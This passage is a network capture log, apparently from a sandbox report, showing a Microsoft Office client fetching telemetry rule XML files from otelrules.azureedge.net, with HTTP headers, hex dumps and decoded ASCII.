EN="Office.Telemetry.Event.Office.Maker.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMake

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:29 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145929Z-16849878b78wv88bk51myq5vxc00000008hg00000000441s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">
2024-10-30 14:59:45 UTC	192	OUT	GET /rules/rule703800v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:45 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Content-Type: text/xml Content-Length: 1382 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBEB382A" x-ms-request-id: a7357b9f-a01e-00ab-11a3-269106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145945Z-16849878b78qwx7pmw9x5fub1c000000067000000000t7nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:45 UTC	1382	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 38 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703800" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaPicker" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLivePersonaPicker" S="Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:29 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a349b1bc-a01e-0021-20bc-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145929Z-r197bdfb6b4cnxt4mv5f3apubw00000000u000000000a7vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"
2024-10-30 14:59:45 UTC	192	OUT	GET /rules/rule703701v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:46 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE88499BE" x-ms-request-id: 389c4b1c-801e-00a0-1bfb-252196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145945Z-16849878b78nx5sne3fztmu6xc000000095000000000f5mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:46 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 37 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703701" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaCard.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:29 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145929Z-r197bdfb6b4grkz4xgvkar0zcs00000007s000000000mqqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">
2024-10-30 14:59:45 UTC	192	OUT	GET /rules/rule703700v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:46 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE2BA2692" x-ms-request-id: 35e62313-901e-0064-2802-29e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145946Z-15b8d89586ff5l62aha9080wv000000009mg0000000024tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:46 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 37 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703700" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaCard" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLivePersonaCard" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:30 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d8669f86-801e-0083-53a9-29f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145930Z-17c5cb586f6hn8cl90dxzu28kw000000087000000000durg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule701701v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:48 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:48 GMT Content-Type: text/xml Content-Length: 1423 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE245F1F4" x-ms-request-id: 3994282e-101e-007a-5ffd-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145948Z-16849878b787bfsh7zgp804my4000000070g000000009aw2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:48 UTC	1423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 49 6e 74 65 6c 6c 69 67 65 6e 74 53 65 72 76 69 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701701" V="1" DC="SM" EN="Office.Telemetry.Event.Office.IntelligentServices.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusT

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145930Z-15b8d89586flspj6y6m5fk442w0000000dzg00000000gh2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule704050v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:47 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7FF88" x-ms-request-id: c85deb7e-601e-0032-1b9e-26eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145947Z-15b8d89586fst84kttks1s2css00000001z0000000001pgv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 65 6e 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 65 6e 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704050" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Lens" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLens" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:30 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 8f4dae4f-901e-008f-19cb-2767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145930Z-17c5cb586f6z6tq2xr35mhd5x000000000u0000000007t1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule701700v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:48 GMT Content-Type: text/xml Content-Length: 1386 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA21B9C1" x-ms-request-id: 9c11a748-301e-0096-2ae7-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145948Z-15b8d89586f6nn8zqg1h5suba800000003a000000000hp4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
